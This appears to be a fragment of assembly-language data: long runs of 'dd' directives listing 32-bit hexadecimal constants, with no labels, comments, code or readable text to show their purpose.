dd 8A110CC9h, 0A008CB2Ah, 0E7BE9A1Fh, 37808743h, 0C705B052h
dd 217FAFh, 69914198h, 74ABBA95h, 7C42294Eh, 0C80D3DCEh
dd 4B7690h, 0ED68087Ch, 33776C3Fh, 0E7117B60h, 0CE971FBCh
dd 6D8A6640h, 604C20C7h, 117BD0DEh, 0AE1C93B3h, 8CC9B2B1h
dd 8806084Ah, 0F82A7843h, 0EA8D41CAh, 4B2B1F6Bh, 7E540057h
dd 2D7DC718h, 0BA009278h, 28C8A072h, 0DFA394h, 585D9EF8h
dd 2E9089E4h, 865F7600h, 0C81552DCh, 63770039h, 87A2DE1Fh
dd 4B002A93h, 77DB2A9h, 46C571h, 0DBFB4ABCh, 90EA6FF7h
dd 7425B07Fh, 0A8B08448h, 24092960h, 96C2992Dh, 0A26F00D0h
dd 0BCE6E20Ah, 45B5F82h, 1B989800h, 1E35E943h, 0F791E92h
dd 2A82FEE5h, 0DC549B14h, 7E21EF04h, 53E824ACh, 0F3D71C8Ch
dd 4B823B87h, 55E828D1h, 98526E60h, 718DC0Ch, 7406511Eh
dd 0BE017EEBh, 94972774h, 9A805A91h, 4AA6D31Eh, 189C067Bh
dd 24151B47h, 0E1722C03h, 0B8E14B74h, 0E84400F6h, 0D7F2AAB3h
dd 0BB6A0425h, 80202C62h, 0CBA69391h, 58F92903h, 0F80FDC85h
dd 6F0589h, 440BC48Ah, 5982EF52h, 0C9C1AA00h, 16819A7Ch
dd 201204D4h, 800F3111h, 2733591Ch, 4F250E00h, 0A26AE579h
dd 0C0FE1CCEh, 80041FC7h, 85E7A101h, 3000D803h, 3899BF8Ah
dd 918B60Dh, 0C8A67298h, 41AF0B8Eh, 0A803B540h, 0A477AC56h
dd 47087500h, 9F39BD9Bh, 6D440EFEh, 576B83h, 0DC1A015Dh
dd 6903594Bh, 0F8C078CEh, 366DB91h, 5760F320h, 0E5BB925Ah
dd 854079DAh, 36015F1Fh, 6BF3BBBDh, 88F8FFCh, 23002A83h
dd 1A6168B8h, 0BD0CE4F0h, 48622CAAh, 7FC62067h, 0D092103h
dd 0F0274454h, 38ED687h, 4BD1A307h, 3007D2C1h, 0AC453E6Bh
dd 70C29281h, 94530h, 0F2CAE77Dh, 0F137AAFh, 0EEFF6B00h
dd 3853991Ah, 218E00D7h, 60B0E02Ch, 0D06F6A7Fh, 69F68370h
dd 0C3D8E0B8h, 3361C0D3h, 0E905AD72h, 21AA7A00h, 0C4386E3Ah
dd 2C6C0061h, 36C5FC3Fh, 0C9004767h, 9C6A748Bh, 7020D16h
dd 54B4835Bh, 4B8F83B7h, 41B20B6h, 0B0199923h, 8090E63Fh
dd 0FD147202h, 8094560Ch, 0FB5957D5h, 9C11C0BFh, 14F7C43Bh
dd 0F294C250h, 0E6F9540h, 21CC1E77h, 0ADD3C05Dh, 0C6D4A022h
dd 0B43F8E00h, 0BFFF47D5h, 0A9213DB1h, 2778280h, 0DAB52C39h
dd 273C5F00h, 0BC4DA815h, 21E16014h, 0FB52287h, 0C8F1A700h
dd 0C6A1589Eh, 3ACA03A8h, 5FD63FDBh, 3846599Eh, 0A1B5170Fh
dd 14BBF4E2h, 0F210C411h, 8501B51Eh, 11985047h, 189FB1B2h
dd 80E8019h, 0A89278A7h, 830A20h, 0B216E8F3h, 9D0D5E64h
dd 0EA9F2F30h, 413F80h, 774B5FA8h, 0CFAD6011h, 5DD83Dh
dd 0EEBEFA63h, 0ECDEDBC6h, 0F760148h, 172C77B2h, 1906C020h
dd 0FBE290C0h, 68B9DF2h, 815B6DA4h, 0E8300894h, 0A2D82028h
dd 2AE760F2h, 0DFFBC6EFh, 410250CDh, 79FD59F4h, 0B7875073h
dd 15E03FFh, 5BCF6874h, 51F91000h, 8F657BE6h, 0D9A4006Ah
dd 0BEA3A1B7h, 681860B1h, 0F039A5E7h, 0DA0400FCh, 0DCF17BB6h
dd 4100EFB3h, 911958AEh, 80D9DDh, 0EE6A96F4h, 0BDFF5BBFh
dd 0E7E8CF17h, 8D64A607h, 0BA515F41h, 83E18CD9h, 2FD4FCh
dd 0EF09CA35h, 9B411381h, 8CD7DC00h, 0B38973C0h, 77723F64h
dd 0B25C28Bh, 0CAA9DA83h, 0FEAEA8D0h, 0A471CB00h, 7CD4D78Dh
dd 280D05CDh, 800253C1h, 9A45FF44h, 430751CFh, 911BC07Fh
dd 1DE80E57h, 0A1E00C8h, 1296B586h, 100EB27h, 951A62FEh
dd 7D043DECh, 0AB5F12EFh, 0FC09000Eh, 9907B358h, 80A3263Eh
dd 63690FF7h, 37C854h, 84FF416h, 422C4158h, 357A890Eh
dd 0D5B640BEh, 72D18AF7h, 0E53B09A2h, 960CF2C7h, 7100C030h
dd 0ED57F904h, 26181Ah, 852910F4h, 5A87AB79h, 3465C00h
dd 0CE670CF0h, 0F95E004Eh, 0FF1948BAh, 0F303FCCDh, 3FD7FA55h
dd 0C66E80E9h, 6D3028B0h, 0CF0500B8h, 0D1A8604Dh, 6A30F2A0h
dd 0E124D83Ch, 358300F4h, 0E0C2C1FCh, 79F258E6h, 251CBA2Eh
dd 0C6CC4203h, 96F7E817h, 316A00D1h, 2FAD19AEh, 0DE003C63h
dd 0A03AD8C1h, 0E80D4E98h, 0A5D40140h, 5F12354Ah, 0F00EC963h
dd 5A00A961h, 2E3CCEBBh, 3B682BA4h, 7380FB40h, 84D44188h
dd 8338D186h, 41A23074h, 75239FCh, 9AAAE872h, 0A7FD0714h
dd 0E4CD1009h, 5301CCF5h, 0B9C885A0h, 0C0D393AAh, 76D619h
dd 54DEBA09h, 3D0341FAh, 0F0DB8000h, 38F79E7Bh, 0D27F039Ah
dd 96ED7DD9h, 0B1052E90h, 0B0FEF10Fh, 422C050h, 3B0F34h
dd 9E2DDF0Bh, 279D81D0h, 90598400h, 0D138EA4Dh, 0FBDA0778h
dd 80A2C55Ch, 2430ABE2h, 21001698h, 0E5AC3207h, 38BEF670h
dd 0EC006B47h, 260C2376h, 0C600CA31h, 9B69547Eh, 574A613h
dd 24017C8Bh, 3E0AC0F8h, 8000C560h, 4A5F4F66h, 0E65B3D5h
dd 2735CE82h, 0CF255460h, 0F3000622h, 91D72E28h, 1FD20C6Ch
dd 80452AC8h, 5AF2655Fh, 0F70509ECh, 1C8453AFh, 16DC5480h
dd 1BCD0038h, 0CB3C662Fh, 94009E0Ch, 0C6F0B7EBh, 355A44h
dd 4F2402CCh, 9EEFFFA7h
dd 0A6B40902h, 48921C6Eh, 0E842B2Ch, 40D9693Ch, 77EE7DA1h
dd 0DD6C20EAh, 56047F0Fh, 7AED40FAh, 395274Bh, 0AA3D6AE3h
dd 0FFF8B61Bh, 96018E8Ch, 0F46D0D54h, 599CA3D6h, 0A96E40D3h
dd 10ABD997h, 81D70F39h, 0AF037F53h, 0E7F8ADE8h, 0FEB60082h
dd 4B0B18F8h, 2813D4F1h, 50145DBFh, 0E36601FCh, 7E368D13h
dd 412C3880h, 628F9394h, 1C00FD75h, 5BD5138Eh, 9A8369Dh
dd 21AD59BEh, 0A500DB8Bh, 78E30C48h, 70EAB700h, 0B693CB0Eh
dd 0EB790764h, 7012E538h, 720FB269h, 0E1DD60C7h, 0D56D3940h
dd 0DBF7189Ah, 9D661881h, 96DE4100h, 92233134h, 0BFF300A3h
dd 0A5C60C47h, 82026136h, 0CFD6544Fh, 0FD0900BAh, 22E21E2Ah
dd 4A23CD02h, 0E0F01BDFh, 1E86526Bh, 80EF0249h, 0B7A30E08h
dd 6F0716FEh, 96D7B97Bh, 5FA9B4D0h, 18E00E0h, 506DCA6Bh
dd 0E100BCB1h, 9E94C81Eh, 7545E639h, 329807F8h, 47DA69A0h
dd 9C205327h, 0CD1E1990h, 0FD92D100h, 52454EEh, 275E0081h
dd 1FA72ABDh, 8D00F417h, 37390D3Dh, 0C7132Bh, 3469B989h
dd 1BEEC090h, 0C5759800h, 6FB5A1D0h, 14CE7207h, 0F48EDBD6h
dd 2F2B50h, 0D262E7DFh, 71F9FCABh, 6C8DB200h, 0B04234C9h
dd 0DC0300BEh, 8C4BAE05h, 0F50063D5h, 204C8438h, 140FF53h
dd 3ACD6F6Dh, 80351667h, 9A8FC218h, 0F4770684h, 0CA15037Ch
dd 911BDCBDh, 0FE07801h, 5A07ABC6h, 0B1EB1880h, 59099563h
dd 986DBA00h, 0AC3867ECh, 50B20064h, 75BDA690h, 14E4D05Dh
dd 0DD6A30C5h, 35E52840h, 9BF8F3h, 24FA572Ch, 87729EB8h
dd 0B7F8D07h, 1767B053h, 0E8D02AD0h, 12800B8Fh, 9180F8FFh
dd 424DBEB1h, 38695000h, 6C9DB56h, 34DD009Dh, 0B6ED6143h
dd 0BF734229h, 5268D800h, 5E8F05CBh, 0E5F100B0h, 0FDDFC566h
dd 789D759Eh, 1E7DFE0Dh, 3D024h, 4CD6F7A5h, 0BD3FB7E7h
dd 1424F094h, 778E10CAh, 69D781DEh, 0C0249E15h, 0DF77F1h
dd 0D40B5718h, 145E25BAh, 802AA73Ah, 3C046A88h, 0A2EE20F5h
dd 1BB760E4h, 0E80D7379h, 0B3B80038h, 0D7587BFCh, 0C26122CBh
dd 0F317DACEh, 2F0A6180h, 5EDE3B18h, 4EA3EA07h, 564042A1h
dd 0A017F9F5h, 0D0FF44h, 398F55AFh, 9DA21893h, 37477400h
dd 5E710DE5h, 0ECBB007Ah, 6F69F7B7h, 1E0FD5BAh, 20DB7008h
dd 304CCE83h, 8863903Dh, 0E181D4h, 31BB67BCh, 0B78A4904h
dd 89F33F00h, 2C18D372h, 14AD00C3h, 0DFFDAAECh, 0B803778Ah
dd 0D74B731Dh, 0F269007h, 4CC62E14h, 15E901CBh, 80BFE725h
dd 1F447361h, 0A0FFF9h, 8DDFD801h, 9B9E7664h, 0AEFB9400h
dd 0F26073F6h, 6F470231h, 1CB850AAh, 8C536B00h, 0EF2D28F4h
dd 42E707ACh, 0A0C2DC3Bh, 0D1C52564h, 931FB000h, 22DD06BDh
dd 0E43A545Ah, 0CF72036Eh, 2EF53094h, 0D7E34100h, 5ABD504Ch
dd 0AB97009Ah, 0D998E96Dh, 2F03B281h, 6B671755h, 4680FDD3h
dd 0C089D290h, 0C54FC4C9h, 48E4262Ah, 0EE79DB1Eh, 0F48A2701h
dd 6080E0B4h, 5F53D532h, 951C12EAh, 50642D4h, 0B205D52h
dd 73CFDB69h, 70205700h, 6E00551Bh, 0B1B0ADF2h, 3223696Bh
dd 4D715705h, 6C0CA840h, 5D3A5BE8h, 0E6148C94h, 76EF2186h
dd 24C001D2h, 0F3459D12h, 6A69806Eh, 8726CEA4h, 91C98FAh
dd 169A73Dh, 9A759E80h, 0DF006057h, 0D529FB6Eh, 163CE1F5h
dd 682DAF3h, 60CD439Eh, 3BF47415h, 2E753D9Ch, 0BF00B3BEh
dd 0F3B07F77h, 43260E08h, 13201633h, 47F4BA53h, 8307DBE0h
dd 0FCC7D022h, 1C03847h, 0AC6E40h, 32258DB8h, 0E7C13C9Fh
dd 0B8709037h, 0FD5281F8h, 0C47C5650h, 0D249CAC0h, 48C930C8h
dd 0A0456C9Fh, 0BEED898h, 1E4A2C70h, 305D420Ah, 73B59DA9h
dd 0B916250Bh, 0B42F8AD4h, 0D13FE502h, 13E000C0h, 0A8003031h
dd 96BF6534h, 1453658h, 0C9141112h, 80F13C33h, 236CBD70h
dd 3AADD0h, 0EB07D8DBh, 62C45A8Dh, 0F758D560h, 806D9414h
dd 0F848C3BBh, 1F6F3D31h, 64770B9h, 6A7159D0h, 0B8225B23h
dd 86F2ED00h, 403B6C30h, 10E6E524h, 92C49441h, 0B28130h
dd 0EF25725Ch, 8D1D3B45h, 24F11500h, 9B4D67D7h, 0B4E64CE4h
dd 0C71EDC80h, 3A3B8F5Ch, 124D9DDh, 6E92DB01h, 8082D106h
dd 0A9F49B38h, 3F4AA8A3h, 5317B9A0h, 0A3D41006h, 0AE87D45h
dd 1F4F5D9h, 0EB8880A8h, 6DE67250h, 0FF36900h, 0CB38FF4Ch
dd 8A090051h, 22862EBEh, 0CE0F6D1Dh, 58033F0h, 4402293Ah
dd 81F87039h, 0D5F3D39Ch, 0FE92E3C0h, 0A57D00F5h, 0F4DA5394h
dd 5E48823Dh, 0BAD01380h, 702E3000h, 56E1021h, 0B0FDDBAAh
dd 99CC1A8Bh, 494DF740h, 2CEAE100h, 401C8025h, 8C5F025Eh
dd 0B7F226EFh, 0D4660441h, 8D008EE2h, 0D33AA018h, 96A7EDFh
dd 80FD4DA8h, 0E2DA2E80h, 0E8A3C83Fh, 0C08407A3h, 4104F390h
dd 0EB0ACCA8h, 86ADBC1Bh, 4CEFB8C8h, 0C08754E6h, 0AA0C0094h
dd 410759CBh, 0B062B76h, 0FCE8052Dh, 5EEE0030h, 268170DBh
dd 0EC71B6F6h, 0FBE9D602h, 0A0D9164Dh, 17136494h, 4AA30AB0h
dd 18B64025h, 0BD4C8158h, 0CA109200h, 374DD521h, 0A2F02FEh
dd 7F2DB6A5h, 0CDF9880h, 0E7E5225h, 46DC5F00h, 42A33572h
dd 0A8D42AC9h, 0ED90C3FCh, 4C82BAEEh, 78807089h, 9DF1DBC6h
dd 9BC174Ch, 1BF5E415h, 3B2AB818h, 0E6580051h, 70F7C4C1h
dd 78B1F24Ch, 0AAFE5C00h, 8B30FCh, 0E8545F3Bh, 7181E605h
dd 0CF305C98h, 900C58CBh, 63AC92FFh, 392F789Dh, 0C0843EEAh
dd 86D482E3h, 44694120h, 73F01F0Eh, 784D8703h, 0E65A71DEh
dd 32EDC13Dh, 0DB0B011Ch, 7B612024h, 4EC49A21h, 6C1C3F74h
dd 0A928D848h, 0ECDB00D6h, 13D12481h, 1090CD0Ah, 0CCE60F24h
dd 4AFA9540h, 76320065h, 7F4475FDh, 6A0E77C5h, 20459C16h
dd 0CBDBA31Dh, 0A85E52D1h, 0F47B1809h, 7F3F4C10h, 0A7DEC200h
dd 0B5516CBh, 8BE90023h, 4B69381Fh, 75000576h, 0D7BA793Bh
dd 29832E17h, 0D0F49Dh, 902EA7Eh, 52201E1h, 36F12A44h
dd 7B78B4h, 14CA33B4h, 11732345h, 44F5FE13h, 0E8FBC09h
dd 20718164h, 9049E4CDh, 2E66B0E8h, 180537Fh, 7ACF77ADh
dd 0DFC043C4h, 0C28DC1A8h, 0B6EC2200h, 1469A128h, 91DB1F7Fh
dd 0CCCD89BEh, 0A7741C00h, 4C26BA8Fh, 881140E2h, 1A333E00h
dd 0CA74C8F7h, 80CFCE3Dh, 0C1C3CDEh, 73ECB8h, 7EF3A724h
dd 0DC5DBE4Ch, 0B6FE3D06h, 0EA154E5h, 0AC516DE1h, 1B3F8407h
dd 9F074080h, 497CE44Ch, 0CEF50901h, 0EE263AF7h, 0E32C7032h
dd 90140C58h, 80160789h, 0D820E77Ah, 0CF8C2Bh, 7CC70D9Eh
dd 0AFB6843Eh, 30134378h, 0DC40F215h, 0D92467F7h, 0B7BC0F8Fh
dd 0A9AFC0A4h, 0E44383E2h, 0BFDBA0E0h, 0CAC89805h, 0AEC06B22h
dd 7123DFC6h, 0D482A0EDh, 8D84C7Bh, 0D1EAE4C0h, 0A32C08F6h
dd 4B0EFBE1h, 73B694Eh, 0CD81C760h, 5C405922h, 67B3564h
dd 0B23AA277h, 0F848E1EFh, 0B14F8084h, 5530D98h, 0E5F1D9A6h
dd 0EB9C474Dh, 0D042309Eh, 550041E6h, 0D1A47B2Eh, 0B51BDBh
dd 7F8AD7C6h, 0BA6D01D8h, 9040DA0Bh, 6AA70245h, 1D30C18Bh
dd 84F5E420h, 0B6DDCD00h, 0AB9BA9BCh, 0A6E307ACh, 0E38C7FB3h
dd 0EBD979ECh, 0C6C8804Ch, 6823620Bh, 7AD5888Fh, 0C272AD01h
dd 6FBA677h, 0B33C2C50h, 79F0BAh, 4F97AF9Dh, 0FFE74995h
dd 0BC9409E0h, 7EE8FBCh, 843CAACCh, 0CBE74184h, 3624F44Fh
dd 654D870Eh, 0F10FFF3Fh, 0D8C260F3h, 4C07F545h, 5280A815h
dd 4867EAEh, 751810B8h
dd 32495CE7h, 621A00B2h, 90553B4Dh, 483CB09Fh, 94642CCCh
dd 8E02D000h, 70F9B617h, 5E122646h, 0F2CF4094h, 2A583A6Ah
dd 0A0158470h, 0F9D08Ch, 411B608Bh, 38E4613Ah, 0ACEBE62Ch
dd 4D0C803Eh, 4B11AD6Bh, 0E2693953h, 9DE1DD01h, 4079BC2Bh
dd 0ECCEE8C8h, 0CC9CDA28h, 5D59B00h, 0CF80BDD7h, 103B481Dh
dd 0E50048D5h, 653FDACEh, 3A1887D5h, 3021DDDFh, 0DCE700FFh
dd 29916D48h, 0DB1DEC89h, 853A5E7Bh, 0BEC971B4h, 14A20C98h
dd 0F4B92DC8h, 0F30C653Ch, 0C320603Ch, 8BB12512h, 2A012C9Ah
dd 0ECC6D83Ch, 0E4FCF4A4h, 4B4CC4B8h, 69C9160Ah, 0F413680Ah
dd 0C8A4F444h, 0B4A40043h, 4DBEB8D7h, 4100402Ah, 95B0CDECh
dd 2C83F594h, 0A18F2F6h, 81E08D5Ah, 0CF16C70Eh, 17829E4h
dd 99FB8BADh, 0AA70DFF4h, 197F0393h, 35AFA546h, 84BDC80h
dd 3CE54E00h, 72BD517h, 4B00B0BCh, 4D5420F6h, 6E00EE11h
dd 0AD6D2B7Eh, 0C3B2FCh, 3DD31982h, 789B4189h, 0DA00DC98h
dd 4A4C7180h, 4ACA8218h, 0D0542028h, 87F86CC7h, 29589EE7h
dd 67E3803Bh, 393D3381h, 12A279D7h, 916A65Bh, 1000A338h
dd 22920736h, 3090CEF0h, 0D26010F3h, 541A585Eh, 3B0156C9h
dd 0DC6B1FA5h, 0A7EE6725h, 89C4F6C0h, 9834CE97h, 3A8213D9h
dd 0F81C922Bh, 0E900D864h, 1F2F7DF9h, 3BB0148h, 0B64737A8h
dd 0C900A6E4h, 21F2EB6Dh, 201319Eh, 8578916Bh, 0B06CF99Fh
dd 5DF6A907h, 0BBD0A071h, 0F8B1634Ch, 2240176h, 0F48D0547h
dd 858C50AAh, 71791C0Dh, 270BC407h, 49ACE6BEh, 1DB500A1h
dd 0BF9CC1FEh, 260243ADh, 2498D0E5h, 0E3B86057h, 22BE014Fh
dd 8A259371h, 916ED8E2h, 367E88h, 3C0C9FB8h, 0CD100173h
dd 14E1C9C2h, 0CBC4A086h, 19B4DC8h, 57AB3579h, 7003B8BEh
dd 930B0A10h, 8B4483h, 0EC793C88h, 0CD6F0075h, 48BCDDE2h
dd 6EE01491h, 0A66148C0h, 2B95C92h, 2DABD783h, 825F7746h
dd 0C0040B56h, 0DC3C18h, 834B30D6h, 0C028A1D0h, 0F9485C0Eh
dd 0A843C047h, 66F606h, 3ADF5076h, 0D00BE04Bh, 0E4321201h
dd 5ECCF434h, 0B553D0h, 644C3A9Bh, 675C98A9h, 0FB82F200h
dd 2AAC5FCBh, 19F03038h, 0AAFCD468h, 416A8500h, 13DBDCF6h
dd 5AD800D1h, 34918E8h, 103F94Fh, 381635E0h, 903972E3h
dd 0DB0E0772h, 201C0F46h, 0CD183780h, 15A71006h, 0C909D7h
dd 0FAF302D4h, 2166FC2Eh, 8891B900h, 0EDDE1F14h, 1DBCEC5Dh
dd 0CA2C4FEh, 83D8CCD5h, 22215000h, 8E9A4AB1h, 0C75C1C3Dh
dd 18778CBCh, 75367D20h, 630605Fh, 3D76B099h, 38C011CCh
dd 0BEF1C821h, 0FA9F0380h, 0CE7608E4h, 0CB142176h, 1AD6646h
dd 8AFFA3B6h, 5DE92729h, 2A77C048h, 0EB455A8h, 0A610FB4Dh
dd 0B7831B8Eh, 2042B537h, 0EC490038h, 1E48C0A5h, 9888019Eh
dd 0FD35C5FCh, 4BC4C099h, 0D900DAF0h, 5096B04Dh, 1E034593h
dd 0A8BBED1Bh, 6CD7306Ch, 0F5A32981h, 0AAC9C300h, 519879B6h
dd 0EF480131h, 0AE2C3536h, 0B878BE37h, 0BDF00AE6h, 0EB8588BBh
dd 0A45CCA38h, 0C1825C00h, 14BC8CE0h, 0E8F9B5F6h, 0B0352C01h
dd 10187738h, 1F24487h, 0CF5D0DBBh, 0D24276B9h, 58157080h
dd 1003F3C8h, 72F4D782h, 34B8401Dh, 5EB1037Dh, 0BD90736Ah
dd 7C198938h, 0B27E6200h, 3487595Ah, 0E13D63D6h, 71A0A055h
dd 192E5126h, 3C0F439Ch, 7A5D805Eh, 18F9D989h, 0B8BA70CBh
dd 0A7011AE1h, 6898B91Dh, 0BBE067B3h, 81DE674Eh, 0B59F20AAh
dd 970187B9h, 0FE86F1C0h, 5824E139h, 76EADBh, 61CA776Ch
dd 0DFBE8953h, 85029FECh, 0C1B4B155h, 0AC9C9805h, 0E4F71DAAh
dd 466380DAh, 0C9734FC0h, 9C3688A8h, 88C8BE00h, 799AF2D6h
dd 9297256Ah, 0B830ECDCh, 2A27AF25h, 0CB07658h, 80D598F1h
dd 96158940h, 846AE8h, 35371CF6h, 78CB1F42h, 0EB4C0080h
dd 770C6CF3h, 0D66190FFh, 0C5245139h, 0DA9C0h, 684A06F3h
dd 0DBF9992Eh, 518B3002h, 0C27308B1h, 104451h, 0E4780BBCh
dd 0A3172761h, 0CAE32300h, 0FDBFD36Eh, 1F8F0E21h, 764411A7h
dd 0DA788853h, 8C77EE07h, 924F1A19h, 9865B422h, 29AB4E0h
dd 0B1C5A60Bh, 0B4A08438h, 0FBFC286Bh, 6E215600h, 4CD6CFADh
dd 0CE77E657h, 0C440EF39h, 0EE762365h, 97FA4A03h, 80D8A038h
dd 0C032D543h, 79C93129h, 7F0598FFh, 0D992FBC4h, 59A88440h
dd 26E7DBA7h, 0E0044E12h, 82CD1E61h, 79A0E113h, 5CEB9420h
dd 0E9030719h, 2053D50Bh, 0B6C96457h, 21BDA209h, 4FCC82EFh
dd 591C0C5h, 483361C8h, 317FD838h, 2291F550h, 8D43006Ch
dd 0D9343BB5h, 0C7797Dh, 4686BFF3h, 66FAFEDAh, 0FC06000h
dd 0B2BD099Eh, 8D3B2A10h, 0D01E0090h, 4CDD97E7h, 5107F2BEh
dd 3690EFD7h, 40009AE7h, 13082EEBh, 306CB2A6h, 0E7545B8h
dd 0E0021314h, 0E6A6009Fh, 0B160E716h, 5CA8D501h, 1228E90Eh
dd 8B239560h, 22015E21h, 356069AFh, 9450D876h, 5383E0h
dd 6C29B7DAh, 3ED614C1h, 0BC9DBCA8h, 1ECCCA0Eh, 0FF090020h
dd 0E8EC7Ch, 0B4C08BAAh, 1768B788h, 2A9122h, 120E799Eh
dd 5DE4DF34h, 0D8C5F61Dh, 3CCB8080h, 249FD9B6h, 1354F852h
dd 0FD4042FCh, 0AC40839Eh, 10909B2Eh, 1C6B44h, 0B3DF63E8h
dd 0BA14122Bh, 894A6003h, 0F010EFF1h, 2CF52716h, 10A91Ah
dd 92AC2BC1h, 762AA374h, 0E11CF847h, 1180314Ah, 85E5DC36h
dd 0ED4013Fh, 0CE757937h, 0C129822Ah, 9073A70Bh, 8F168Ch
dd 6B703E78h, 5F1A98A1h, 2DB42500h, 0F6B1FC4Eh, 7D64066Ah
dd 0B131E8C3h, 0A9CAFF00h, 3C86EEAFh, 0CDD700E7h, 5C94D50Ah
dd 1E02549Bh, 76F1D48Ch, 1A0260A4h, 4C9175h, 0C8FE0BFAh
dd 0ED01FD14h, 0AF09CCA1h, 0B0C4072Ch, 0C0E902BFh, 91DACA7Ch
dd 420CA0A4h, 430A7DE0h, 893DD8D4h, 41752C61h, 0D27FC048h
dd 4901282Fh, 0F8AEFDF4h, 98345A76h, 139D00E7h, 4C9E21Fh
dd 0CE003D26h, 5EEBA8E5h, 3852C70h, 0F2F9090Ch, 0C9A06A94h
dd 0A304C6E8h, 212B729Eh, 3D7434C0h, 0AAD6751Ch, 0B3B8084h
dd 0F97B96h, 53C117B5h, 0B2B64DB9h, 33F54619h, 0E4229129h
dd 93927600h, 0D8C0F657h, 0FE00E898h, 609E8FB6h, 74A477D5h
dd 0A0B4A442h, 1F4874C1h, 97E725AEh, 8437BFh, 0B2A13517h
dd 9BEA0CC0h, 4D16C6h, 4999A431h, 85815AB3h, 96163890h
dd 980D6597h, 0E08B89DFh, 9700685Eh, 3CB3010Ch, 0CF90AE18h
dd 136C0F21h, 28FE33h, 0C1F29806h, 57037D12h, 88CFB1A5h
dd 0CE46D8D1h, 32EE04E0h, 87B989DAh, 771850E0h, 0BCA85B56h
dd 0BC6FF193h, 90EC0CD1h, 3B0047Fh, 8C980FD2h, 9255DF8h
dd 71FF413h, 61B1DF18h, 63596270h, 0A79500B0h, 6E6838F8h
dd 5F650539h, 2099FF45h, 0FDE9CEB0h, 9FA71B04h, 64C12BA6h
dd 2020A20Dh, 758500B7h, 0FCB2A961h, 2F601B97h, 0F5E00C18h
dd 8EF11892h, 3982068h, 0D0CE822Eh, 19500214h, 76C93FD7h
dd 2125ECh, 1A7A8BDDh, 0BF1215BAh, 4473F918h, 1E72F9h
dd 0E3D14138h, 0CCAEF2F5h, 0C83E0100h, 4DEE4461h, 63F900C3h
dd 73991CDAh, 9E044B62h, 183003E8h, 411E7C80h, 1A8C0ECBh
dd 1C016DB3h, 0C2BBF38Dh, 0F000CC66h, 81FC3010h, 0E2855571h
dd 618B88Bh, 9088F261h, 9002928h, 0E08201A1h, 13BC4D84h
dd 586B76h, 37160AF8h, 570E3FCBh, 0D3385C8Dh, 46D2AC47h
dd 983D007Bh, 49F00D17h, 3B8020BFh, 0DE2CA30Bh, 0B6DA6405h
dd 0A81F4108h, 3E134Eh
dd 0B8827AB7h, 0CD1F018Ah, 9E44BA43h, 53DC7628h, 7D3B00D0h
dd 4159B6F6h, 0A2E0000Eh, 16CED165h, 0FE258480h, 8BB01046h
dd 68EE03B8h, 0A729F46Bh, 27DE9EB0h, 0F630AE00h, 3EA5360Ah
dd 0B81E3E37h, 0A710220Fh, 4093D66Bh, 1652E088h, 0F8B7E80Bh
dd 7DBD00C3h, 2F32155h, 9B2AD77h, 0D040EEFCh, 0A8F4B4F6h
dd 0F34824Dh, 0C5B62846h, 2088D793h, 7A07634h, 7D99B341h
dd 0AA98F0DDh, 82035FCFh, 0E6137B88h, 0BCA4C0DEh, 0B0D95403h
dd 2627B0B0h, 8070C6DAh, 354E939h, 8D3C5DC3h, 2CC40921h
dd 13480037h, 5C40F425h, 0B4807476h, 37E6063Eh, 0EAF57201h
dd 53D14F2Bh, 726E9D4h, 8B2F3297h, 7FD300CCh, 1504B59Eh
dd 0CA674B43h, 6800D084h, 0CE310B03h, 0CD130017h, 7B298665h
dd 0C94C6BCh, 3098AA80h, 3077C550h, 638156CBh, 0A8004AF7h
dd 0A51FB08Dh, 30768CF9h, 8598041h, 0B10E4F79h, 94CC5C92h
dd 76590D9Ch, 0CA604152h, 86140072h, 882E7CE6h, 0C87F6D17h
dd 624C200h, 9BCAD9EBh, 5D80C392h, 0A8909A2Eh, 0F81C370Bh
dd 0CCA44EBCh, 8026E888h, 84A1C2CFh, 9D01D290h, 6CD91C0Ah
dd 9C4CB808h, 0A006004Dh, 16E3445Ah, 220087ABh, 4542537Bh
dd 4E48492h, 2FCBE74Dh, 0E95C8006h, 667BA821h, 0C781F900h
dd 0BCFE9601h, 97B4944Ch, 47E020D7h, 0EB09316Ah, 2009BB5Fh
dd 80DB077Ch, 0C6F71E52h, 0B9270410h, 0ACA2FDh, 0DEC8844h
dd 22AD959h, 60B0DA2Bh, 2C7002B5h, 82040A77h, 0C15213CAh
dd 14BC0CD0h, 0A9F13CF5h, 0B82039A5h, 0BF454C19h, 0D8126002h
dd 60510B82h, 9192B680h, 0ED230BB8h, 0C47D4F80h, 4407DBE5h
dd 0FFC8709Ch, 75D741F0h, 8994A851h, 74B20417h, 81B8F7E3h
dd 0C4CCC550h, 1C3F8042h, 0D961FECDh, 2792B590h, 0D64D6180h
dd 0BBF156EEh, 80035E3Fh, 66371EFAh, 7ECB168h, 0C99DA8A0h
dd 0DE10098h, 502472A4h, 0B621C75h, 0B0C427h, 0B474D6D7h
dd 1CB3DCF4h, 8BAC1839h, 34C5C96h, 0BA35B6F8h, 9C8473A7h
dd 446077Ah, 68DA43h, 725B01DAh, 2A0384E7h, 0BAF06B12h
dd 0BC7901C0h, 54321FF6h, 38318A53h, 8C80AC75h, 77ACF303h
dd 57A600E1h, 0B6FB2E88h, 2339484Ah, 0B49FA6EBh, 1A379B40h
dd 0F8CA004Eh, 3F6551B7h, 0C4B0A2FDh, 0D93C7034h, 38DEC09h
dd 48C2CB4Bh, 0C4C0BCB9h, 2B9C1D7h, 71F4Eh, 0E80110B2h
dd 8EFD4EDEh, 3DCEF091h, 0C0A03063h, 0BA61C0Ch, 92754224h
dd 0DA8958AFh, 0E9F15469h, 8DF180C2h, 3F37FDD5h, 262C3303h
dd 9800B640h, 3D2E4D0Bh, 2A3A617h, 0F278C551h, 0AC42FCEBh
dd 0F400B464h, 0BFC0CFCDh, 2E8C4D20h, 608C6B64h, 70A845D1h
dd 0D9FCA34Ah, 0AF3E1F7Dh, 0B0D892Fh, 5738A864h, 646D07A9h
dd 0CDC0F151h, 304E90DDh, 0C369F09Fh, 2F30172Bh, 0DAD63E2Eh
dd 3CF874h, 18973814h, 0B8D5F84Eh, 0F008EC06h, 5CF83186h
dd 2505E47Fh, 40467623h, 0ED8CFFE8h, 10001744h, 0A79DC948h
dd 16B5710Eh, 89EB9F95h, 0C712CC10h, 0B9ECAB09h, 567002Ah
dd 13D2F16Ah, 27CD0B5h, 7A864C8h, 702E8441h, 97042FDBh
dd 0D1BC5805h, 5FF0C8h, 0D53B971h, 0BE63841Fh, 96EEF802h
dd 445676B0h, 254A14Ch, 0A4F98850h, 10C8CFEFh, 6C90F689h
